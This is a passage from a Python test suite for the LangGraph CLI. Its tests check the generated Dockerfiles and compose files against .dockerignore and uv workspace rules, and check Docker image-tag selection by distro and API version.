        (project_root / "langgraph.json").write_text("{}\n")
        (project_root / "src").mkdir()
        (project_root / "src" / "agent.py").write_text("graph = object()\n")
        (project_root / "assets").mkdir()
        (project_root / "assets" / "keep.txt").write_text("keep\n")
        (project_root / "vendor").mkdir()
        (project_root / "vendor" / "huge.txt").write_text("large\n")
        (project_root / ".dockerignore").write_text(
            "vendor/\nassets/\n!assets/keep.txt\n"
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./src/agent.py:graph"},
                "source": {"kind": "uv"},
            }
        )

        original_iterdir = pathlib.Path.iterdir

        def guarded_iterdir(self):
            if self == project_root / "vendor":
                raise AssertionError("should not walk unrelated ignored subtree")
            return original_iterdir(self)

        with patch.object(
            pathlib.Path, "iterdir", autospec=True, side_effect=guarded_iterdir
        ):
            docker, _ = config_to_docker(
                project_root / "langgraph.json",
                config,
                base_image="langchain/langgraph-api:0.2.47",
            )

        assert "ADD assets/keep.txt /deps/workspace/assets/keep.txt" in docker
        assert "vendor/huge.txt" not in docker


def test_config_to_docker_uv_lock_never_reincludes_always_excluded_subtrees():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root = tmpdir_path / "single"
        project_root.mkdir()
        (project_root / "uv.lock").write_text("# uv lock file\n")
        (project_root / "pyproject.toml").write_text(
            textwrap.dedent(
                """
                [project]
                name = "single-app"
                version = "0.1.0"
                dependencies = ["httpx>=0.28"]

                [build-system]
                requires = ["setuptools>=61"]
                build-backend = "setuptools.build_meta"
                """
            ).strip()
            + "\n"
        )
        (project_root / "langgraph.json").write_text("{}\n")
        (project_root / "src").mkdir()
        (project_root / "src" / "agent.py").write_text("graph = object()\n")
        (project_root / ".venv" / "pkg").mkdir(parents=True)
        (project_root / ".venv" / "pkg" / "keep.txt").write_text("keep\n")
        (project_root / "node_modules" / "pkg").mkdir(parents=True)
        (project_root / "node_modules" / "pkg" / "package.json").write_text("{}\n")
        (project_root / ".dockerignore").write_text(
            "!.venv/pkg/keep.txt\n!node_modules/pkg/package.json\n"
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./src/agent.py:graph"},
                "source": {"kind": "uv"},
            }
        )
        docker, _ = config_to_docker(
            project_root / "langgraph.json",
            config,
            base_image="langchain/langgraph-api:0.2.47",
        )

        assert ".venv/pkg/keep.txt" not in docker
        assert "node_modules/pkg/package.json" not in docker
        assert "ADD src /deps/workspace/src" in docker


def test_config_to_docker_uv_lock_rejects_ignored_workspace_member():
    """A workspace member matched by .dockerignore cannot be copied into the
    build context — uv.lock requires it, so fail loudly with a clear message."""
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
        )
        (project_root / ".dockerignore").write_text("libs/shared\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "../../apps/agent/src/agent/graph.py:graph"},
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
            }
        )
        with pytest.raises(
            click.UsageError, match=r"Workspace member 'shared' at libs/shared"
        ):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_rejects_invalid_source_package_type():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(tmpdir_path)

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        config["source"]["package"] = 123

        with pytest.raises(
            click.UsageError, match="`source.package` must be a non-empty string"
        ):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_rejects_paths_outside_target_closure():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../libs/extra/src/extra/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )

        with pytest.raises(
            click.UsageError,
            match="not inside the target package 'agent'",
        ):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_rejects_unrelated_member_when_root_in_closure():
    """When the workspace root is in the closure, paths under unrelated members
    should still be rejected instead of silently matching the root."""
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        # Agent depends on workspace-root (puts project_root in container_roots)
        _, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_dependencies=["workspace-root", "shared", "httpx>=0.28"],
            root_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    # extra is a workspace member but NOT a dependency of agent
                    "agent": "../../libs/extra/src/extra/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )

        with pytest.raises(
            click.UsageError,
            match="not inside the target package 'agent'",
        ):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_root_package_copy_skips_unrelated_members():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_dependencies=["workspace-root", "shared", "httpx>=0.28"],
            root_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
        )
        root_src = project_root / "src" / "workspace_root"
        root_src.mkdir(parents=True)
        (root_src / "__init__.py").write_text("__all__ = []\n")
        (project_root / "README.md").write_text("workspace root package\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert "COPY --from=uv-workspace-root . /deps/workspace" not in docker
        assert "COPY --from=uv-workspace-root src /deps/workspace/src" in docker
        assert (
            "COPY --from=uv-workspace-root README.md /deps/workspace/README.md"
            in docker
        )
        assert (
            "COPY --from=uv-workspace-root libs/extra /deps/workspace/libs/extra"
            not in docker
        )
        assert "WORKDIR /deps/workspace" in docker
        assert (
            "RUN PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir "
            "-c /api/constraints.txt --no-deps -e ." in docker
        )


def test_config_to_docker_uv_lock_missing_lockfile():
    """Test that uv_lock fails when uv.lock is missing."""
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(tmpdir_path)
        (config_path.parent.parent.parent / "uv.lock").unlink()
        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "../../apps/agent/src/agent/graph.py:graph"},
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        with pytest.raises(click.UsageError, match="No uv.lock found"):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_missing_pyproject():
    """Test that uv_lock fails when pyproject.toml is missing."""
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(tmpdir_path)
        (config_path.parent.parent.parent / "pyproject.toml").unlink()
        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "../../apps/agent/src/agent/graph.py:graph"},
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        with pytest.raises(click.UsageError, match="No pyproject.toml found"):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_old_image():
    """Test that uv_lock fails with an old base image."""
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(tmpdir_path)
        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "../../apps/agent/src/agent/graph.py:graph"},
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        with pytest.raises(ValueError, match="requires a base image with uv support"):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.46"
            )


def test_config_retain_build_tools():
    graphs = {"agent": "./graphs/agent.py:graph"}
    base_config = {
        "python_version": "3.11",
        "dependencies": ["."],
        "graphs": graphs,
    }
    config_true = validate_config(
        {**copy.deepcopy(base_config), "keep_pkg_tools": True}
    )
    docker_true, _ = config_to_docker(
        PATH_TO_CONFIG, config_true, base_image="langchain/langgraph-api:0.2.47"
    )
    assert not any(
        "/usr/local/lib/python*/site-packages/" + pckg + "*" in docker_true
        for pckg in _BUILD_TOOLS
    )
    assert "RUN pip uninstall -y pip setuptools wheel" not in docker_true
    config_false = validate_config(
        {**copy.deepcopy(base_config), "keep_pkg_tools": False}
    )
    docker_false, _ = config_to_docker(
        PATH_TO_CONFIG, config_false, base_image="langchain/langgraph-api:0.2.47"
    )
    assert all(
        "/usr/local/lib/python*/site-packages/" + pckg + "*" in docker_false
        for pckg in _BUILD_TOOLS
    )
    assert "RUN pip uninstall -y pip setuptools wheel" in docker_false
    config_list = validate_config(
        {**copy.deepcopy(base_config), "keep_pkg_tools": ["pip", "setuptools"]}
    )
    docker_list, _ = config_to_docker(
        PATH_TO_CONFIG, config_list, base_image="langchain/langgraph-api:0.2.47"
    )
    assert all(
        "/usr/local/lib/python*/site-packages/" + pckg + "*" in docker_list
        for pckg in ("wheel",)
    )
    assert not any(
        "/usr/local/lib/python*/site-packages/" + pckg + "*" in docker_list
        for pckg in ("pip", "setuptools")
    )
    assert "RUN pip uninstall -y wheel" in docker_list
    assert "RUN pip uninstall -y pip setuptools" not in docker_list


# config_to_compose
def test_config_to_compose_simple_config():
    graphs = {"agent": "./agent.py:graph"}
    # Create a properly indented version of FORMATTED_CLEANUP_LINES for compose files
    expected_compose_stdin = f"""
        pull_policy: build
        build:
            context: .
            dockerfile_inline: |
                FROM langchain/langgraph-api:3.11
                # -- Adding non-package dependency unit_tests --
                ADD . /deps/outer-unit_tests/unit_tests
                RUN set -ex && \\
                    for line in '[project]' \\
                                'name = "unit_tests"' \\
                                'version = "0.1"' \\
                                '[tool.setuptools.package-data]' \\
                                '"*" = ["**/*"]' \\
                                '[build-system]' \\
                                'requires = ["setuptools>=61"]' \\
                                'build-backend = "setuptools.build_meta"'; do \\
                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
                    done
                # -- End of non-package dependency unit_tests --
                # -- Installing all local dependencies --
                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
                # -- End of local dependencies install --
                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
                WORKDIR /deps/outer-unit_tests/unit_tests
        """
    actual_compose_stdin = config_to_compose(
        PATH_TO_CONFIG,
        validate_config({"dependencies": ["."], "graphs": graphs}),
        "langchain/langgraph-api",
    )
    assert (
        clean_empty_lines(actual_compose_stdin).strip()
        == expected_compose_stdin.strip()
    )


def test_config_to_compose_env_vars():
    graphs = {"agent": "./agent.py:graph"}
    expected_compose_stdin = f"""                        OPENAI_API_KEY: "key"
        
        pull_policy: build
        build:
            context: .
            dockerfile_inline: |
                FROM langchain/langgraph-api-custom:3.11
                # -- Adding non-package dependency unit_tests --
                ADD . /deps/outer-unit_tests/unit_tests
                RUN set -ex && \\
                    for line in '[project]' \\
                                'name = "unit_tests"' \\
                                'version = "0.1"' \\
                                '[tool.setuptools.package-data]' \\
                                '"*" = ["**/*"]' \\
                                '[build-system]' \\
                                'requires = ["setuptools>=61"]' \\
                                'build-backend = "setuptools.build_meta"'; do \\
                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
                    done
                # -- End of non-package dependency unit_tests --
                # -- Installing all local dependencies --
                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
                # -- End of local dependencies install --
                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
                WORKDIR /deps/outer-unit_tests/unit_tests
        """
    openai_api_key = "key"
    actual_compose_stdin = config_to_compose(
        PATH_TO_CONFIG,
        validate_config(
            {
                "dependencies": ["."],
                "graphs": graphs,
                "env": {"OPENAI_API_KEY": openai_api_key},
            }
        ),
        "langchain/langgraph-api-custom",
    )
    assert clean_empty_lines(actual_compose_stdin) == expected_compose_stdin


def test_config_to_compose_env_file():
    graphs = {"agent": "./agent.py:graph"}
    expected_compose_stdin = f"""\
        env_file: .env
        pull_policy: build
        build:
            context: .
            dockerfile_inline: |
                FROM langchain/langgraph-api:3.11
                # -- Adding non-package dependency unit_tests --
                ADD . /deps/outer-unit_tests/unit_tests
                RUN set -ex && \\
                    for line in '[project]' \\
                                'name = "unit_tests"' \\
                                'version = "0.1"' \\
                                '[tool.setuptools.package-data]' \\
                                '"*" = ["**/*"]' \\
                                '[build-system]' \\
                                'requires = ["setuptools>=61"]' \\
                                'build-backend = "setuptools.build_meta"'; do \\
                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
                    done
                # -- End of non-package dependency unit_tests --
                # -- Installing all local dependencies --
                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
                # -- End of local dependencies install --
                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
                WORKDIR /deps/outer-unit_tests/unit_tests
        """
    actual_compose_stdin = config_to_compose(
        PATH_TO_CONFIG,
        validate_config({"dependencies": ["."], "graphs": graphs, "env": ".env"}),
        "langchain/langgraph-api",
    )
    assert clean_empty_lines(actual_compose_stdin) == expected_compose_stdin


def test_config_to_compose_watch():
    graphs = {"agent": "./agent.py:graph"}
    expected_compose_stdin = f"""\
        
        pull_policy: build
        build:
            context: .
            dockerfile_inline: |
                FROM langchain/langgraph-api:3.11
                # -- Adding non-package dependency unit_tests --
                ADD . /deps/outer-unit_tests/unit_tests
                RUN set -ex && \\
                    for line in '[project]' \\
                                'name = "unit_tests"' \\
                                'version = "0.1"' \\
                                '[tool.setuptools.package-data]' \\
                                '"*" = ["**/*"]' \\
                                '[build-system]' \\
                                'requires = ["setuptools>=61"]' \\
                                'build-backend = "setuptools.build_meta"'; do \\
                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
                    done
                # -- End of non-package dependency unit_tests --
                # -- Installing all local dependencies --
                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
                # -- End of local dependencies install --
                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
                WORKDIR /deps/outer-unit_tests/unit_tests
        
        develop:
            watch:
                - path: test_config.json
                  action: rebuild
                - path: .
                  action: rebuild\
"""
    actual_compose_stdin = config_to_compose(
        PATH_TO_CONFIG,
        validate_config({"dependencies": ["."], "graphs": graphs}),
        "langchain/langgraph-api",
        watch=True,
    )
    assert clean_empty_lines(actual_compose_stdin) == expected_compose_stdin


def test_config_to_compose_end_to_end():
    # test all of the above + langgraph API path
    graphs = {"agent": "./agent.py:graph"}
    expected_compose_stdin = f"""\
        env_file: .env
        pull_policy: build
        build:
            context: .
            dockerfile_inline: |
                FROM langchain/langgraph-api:3.11
                # -- Adding non-package dependency unit_tests --
                ADD . /deps/outer-unit_tests/unit_tests
                RUN set -ex && \\
                    for line in '[project]' \\
                                'name = "unit_tests"' \\
                                'version = "0.1"' \\
                                '[tool.setuptools.package-data]' \\
                                '"*" = ["**/*"]' \\
                                '[build-system]' \\
                                'requires = ["setuptools>=61"]' \\
                                'build-backend = "setuptools.build_meta"'; do \\
                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
                    done
                # -- End of non-package dependency unit_tests --
                # -- Installing all local dependencies --
                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
                # -- End of local dependencies install --
                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
                WORKDIR /deps/outer-unit_tests/unit_tests
        
        develop:
            watch:
                - path: test_config.json
                  action: rebuild
                - path: .
                  action: rebuild\
"""
    actual_compose_stdin = config_to_compose(
        PATH_TO_CONFIG,
        validate_config({"dependencies": ["."], "graphs": graphs, "env": ".env"}),
        "langchain/langgraph-api",
        watch=True,
    )
    assert clean_empty_lines(actual_compose_stdin) == expected_compose_stdin


def test_docker_tag_image_distro():
    """Test docker_tag function with different image_distro configurations."""

    # Test 1: Default distro (debian) - no suffix
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
        }
    )
    tag = docker_tag(config)
    assert tag == "langchain/langgraph-api:3.11"

    # Test 2: Explicit debian distro - no suffix (same as default)
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "image_distro": "debian",
        }
    )
    tag = docker_tag(config)
    assert tag == "langchain/langgraph-api:3.11"

    # Test 3: Wolfi distro - should add suffix
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "image_distro": "wolfi",
        }
    )
    tag = docker_tag(config)
    assert tag == "langchain/langgraph-api:3.11-wolfi"

    # Test 4: Node.js with default distro
    config = validate_config(
        {
            "node_version": "20",
            "graphs": {"agent": "./agent.js:graph"},
        }
    )
    tag = docker_tag(config)
    assert tag == "langchain/langgraphjs-api:20"

    # Test 5: Node.js with wolfi distro
    config = validate_config(
        {
            "node_version": "20",
            "graphs": {"agent": "./agent.js:graph"},
            "image_distro": "wolfi",
        }
    )
    tag = docker_tag(config)
    assert tag == "langchain/langgraphjs-api:20-wolfi"

    # Test 6: Custom base image with wolfi
    config = validate_config(
        {
            "python_version": "3.12",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "image_distro": "wolfi",
            "base_image": "my-registry/custom-image",
        }
    )
    tag = docker_tag(config, base_image="my-registry/custom-image")
    assert tag == "my-registry/custom-image:3.12-wolfi"


def test_docker_tag_multiplatform_with_distro():
    """Test docker_tag with multiplatform configs and image_distro."""

    # Test 1: Multiplatform (Python + Node) with wolfi
    config = validate_config(
        {
            "python_version": "3.11",
            "node_version": "20",
            "dependencies": ["."],
            "graphs": {"python": "./agent.py:graph", "js": "./agent.js:graph"},
            "image_distro": "wolfi",
        }
    )
    tag = docker_tag(config)
    # Should default to Python when both are present
    assert tag == "langchain/langgraph-api:3.11-wolfi"

    # Test 2: Node-only multiplatform with wolfi
    config = validate_config(
        {
            "node_version": "20",
            "graphs": {"js": "./agent.js:graph"},
            "image_distro": "wolfi",
        }
    )
    tag = docker_tag(config)
    assert tag == "langchain/langgraphjs-api:20-wolfi"


def test_docker_tag_different_python_versions_with_distro():
    """Test docker_tag with different Python versions and distros."""

    versions_and_expected = [
        ("3.11", "langchain/langgraph-api:3.11-wolfi"),
        ("3.12", "langchain/langgraph-api:3.12-wolfi"),
        ("3.13", "langchain/langgraph-api:3.13-wolfi"),
    ]

    for python_version, expected_tag in versions_and_expected:
        config = validate_config(
            {
                "python_version": python_version,
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "image_distro": "wolfi",
            }
        )
        tag = docker_tag(config)
        assert tag == expected_tag, f"Failed for Python {python_version}"


def test_docker_tag_different_node_versions_with_distro():
    """Test docker_tag with different Node.js versions and distros."""

    versions_and_expected = [
        ("20", "langchain/langgraphjs-api:20-wolfi"),
        ("21", "langchain/langgraphjs-api:21-wolfi"),
        ("22", "langchain/langgraphjs-api:22-wolfi"),
    ]

    for node_version, expected_tag in versions_and_expected:
        config = validate_config(
            {
                "node_version": node_version,
                "graphs": {"agent": "./agent.js:graph"},
                "image_distro": "wolfi",
            }
        )
        tag = docker_tag(config)
        assert tag == expected_tag, f"Failed for Node.js {node_version}"


@pytest.mark.parametrize("in_config", [False, True])
def test_docker_tag_with_api_version(in_config: bool):
    """Test docker_tag function with api_version parameter."""

    # Test 1: Python config with api_version and default distro
    version = "0.2.74"
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "api_version": version if in_config else None,
        }
    )
    tag = docker_tag(config, api_version=version if not in_config else None)
    assert tag == f"langchain/langgraph-api:{version}-py3.11"

    # Test 2: Python config with api_version and wolfi distro
    config = validate_config(
        {
            "python_version": "3.12",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "image_distro": "wolfi",
            "api_version": version if in_config else None,
        }
    )
    tag = docker_tag(config, api_version=version if not in_config else None)
    assert tag == f"langchain/langgraph-api:{version}-py3.12-wolfi"

    # Test 3: Node.js config with api_version and default distro
    config = validate_config(
        {
            "node_version": "20",
            "graphs": {"agent": "./agent.js:graph"},
            "api_version": version if in_config else None,
        }
    )
    tag = docker_tag(config, api_version=version if not in_config else None)
    assert tag == f"langchain/langgraphjs-api:{version}-node20"

    # Test 4: Node.js config with api_version and wolfi distro
    config = validate_config(
        {
            "node_version": "20",
            "graphs": {"agent": "./agent.js:graph"},
            "image_distro": "wolfi",
            "api_version": version if in_config else None,
        }
    )
    tag = docker_tag(config, api_version=version if not in_config else None)
    assert tag == f"langchain/langgraphjs-api:{version}-node20-wolfi"

    # Test 5: Custom base image with api_version
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "base_image": "my-registry/custom-image",
            "api_version": version if in_config else None,
        }
    )
    tag = docker_tag(
        config,
        base_image="my-registry/custom-image",
        api_version=version if not in_config else None,
    )
    assert tag == f"my-registry/custom-image:{version}-py3.11"

    # Test 6: api_version with different Python versions
    for python_version in ["3.11", "3.12", "3.13"]:
        config = validate_config(
            {
                "python_version": python_version,
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "api_version": version if in_config else None,
            }
        )
        tag = docker_tag(config, api_version=version if not in_config else None)
        assert tag == f"langchain/langgraph-api:{version}-py{python_version}"

    # Test 7: Without api_version should work as before
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
        }
    )
    tag = docker_tag(config)
    assert tag == "langchain/langgraph-api:3.11"

    # Test 8: api_version with multiplatform config (should default to Python)
    config = validate_config(
        {
            "python_version": "3.11",
            "node_version": "20",
            "dependencies": ["."],
            "graphs": {"python": "./agent.py:graph", "js": "./agent.js:graph"},
            "api_version": version if in_config else None,
        }
    )
    tag = docker_tag(config, api_version=version if not in_config else None)
    assert tag == f"langchain/langgraph-api:{version}-py3.11"

    # Test 9: api_version with _INTERNAL_docker_tag should ignore api_version
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "_INTERNAL_docker_tag": "internal-tag",
        }
    )
    tag = docker_tag(config, api_version="0.2.74")
    assert tag == "langchain/langgraph-api:internal-tag"

    # Test 10: api_version with langgraph-server base image should follow special format
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "api_version": version if in_config else None,
        }
    )
    tag = docker_tag(
        config,
        base_image="langchain/langgraph-server",
        api_version=version if not in_config else None,
    )
    assert tag == f"langchain/langgraph-server:{version}-py3.11"


@pytest.mark.parametrize("in_config", [False, True])
@pytest.mark.parametrize("version", ["0.9.0rc1", "0.9.0.dev1"])
def test_docker_tag_with_prerelease_api_version(version: str, in_config: bool):
    """Test docker_tag with prerelease and dev api_version values."""
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "api_version": version if in_config else None,
        }
    )

    tag = docker_tag(config, api_version=version if not in_config else None)
    assert tag == f"langchain/langgraph-api:{version}-py3.11"


def test_docker_tag_with_compatible_api_version_promotes_to_latest_patch():
    config = validate_config(
        {
            "python_version": "3.12",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "image_distro": "wolfi",
            "api_version": "~=0.11.0.dev5",
        }
    )

    with patch(
        "langgraph_cli.config._get_pypi_versions",
        return_value=[
            "0.11.0.dev5",
            "0.11.0.dev6",
            "0.11.0rc1",
            "0.11.0",
            "0.11.1rc1",
            "0.11.1",
            "0.12.0rc1",
        ],
    ) as get_versions:
        tag = docker_tag(config)

    get_versions.assert_called_once_with("langgraph-api")
    assert tag == "langchain/langgraph-api:0.11.1-py3.12-wolfi"


def test_docker_tag_with_compatible_api_version_freezes_dev_until_rc():
    config = validate_config(
        {
            "python_version": "3.12",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "api_version": "~=0.11.0.dev5",
        }
    )

    with patch(
        "langgraph_cli.config._get_pypi_versions",
        return_value=[
            "0.11.0.dev5",
            "0.11.0.dev6",
            "0.11.0.dev7",
        ],
    ):
        tag = docker_tag(config)

    assert tag == "langchain/langgraph-api:0.11.0.dev5-py3.12"


def test_docker_tag_with_stable_floating_api_version_promotes_to_future_stable():
    config = validate_config(
        {
            "python_version": "3.12",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "image_distro": "wolfi",
            "api_version": ">~=0.11.0.dev5",
        }
    )

    with patch(
        "langgraph_cli.config._get_pypi_versions",
        return_value=[
            "0.11.0.dev5",
            "0.11.0.dev6",
            "0.11.0rc1",
            "0.11.0",
            "0.11.1",
            "0.12.0rc1",
            "0.12.0",
            "0.13.0.dev1",
            "0.13.0",
        ],
    ) as get_versions:
        tag = docker_tag(config)

    get_versions.assert_called_once_with("langgraph-api")
    assert tag == "langchain/langgraph-api:0.13.0-py3.12-wolfi"


def test_docker_tag_with_stable_floating_api_version_ignores_future_prereleases():
    config = validate_config(
        {
            "python_version": "3.12",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "api_version": ">~=0.11.0.dev5",
        }
    )

    with patch(
        "langgraph_cli.config._get_pypi_versions",
        return_value=[
            "0.11.0.dev5",
            "0.11.0",
            "0.12.0rc1",
            "0.12.0.dev1",
        ],
    ):
        tag = docker_tag(config)

    assert tag == "langchain/langgraph-api:0.11.0-py3.12"


def test_validate_config_rejects_unrecognized_api_version_range_operator():
    with pytest.raises(click.UsageError, match="Invalid version format"):
        validate_config(
            {
                "python_version": "3.12",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "api_version": "~>=0.11.0.dev5",
            }
        )


def test_docker_tag_with_compatible_api_version_supports_node_images():
    config = validate_config(
        {
            "node_version": "20",
            "graphs": {"agent": "./agent.js:graph"},
            "image_distro": "wolfi",
            "api_version": "~=1.2.4",
        }
    )

    with patch(
        "langgraph_cli.config._get_pypi_versions",
        return_value=[
            "1.2.4",
            "1.2.5",
            "1.3.0",
        ],
    ) as get_versions:
        tag = docker_tag(config)

    get_versions.assert_called_once_with("langgraph-api")
    assert tag == "langchain/langgraphjs-api:1.2.5-node20-wolfi"


def test_docker_tag_with_compatible_api_version_rejects_tagged_base_image():
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "api_version": "~=0.11.0.dev5",
        }
    )

    with pytest.raises(click.UsageError, match="tagged base_image"):
        docker_tag(config, base_image="langchain/langgraph-api:0.11.0")


def test_config_to_docker_with_api_version():
    """Test config_to_docker function with api_version parameter."""

    # Test Python config with api_version
    graphs = {"agent": "./agent.py:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config({"dependencies": ["."], "graphs": graphs}),
        base_image="langchain/langgraph-api",
        api_version="0.2.74",
    )

    # Check that the FROM line uses the api_version
    lines = actual_docker_stdin.split("\n")
    from_line = lines[0]
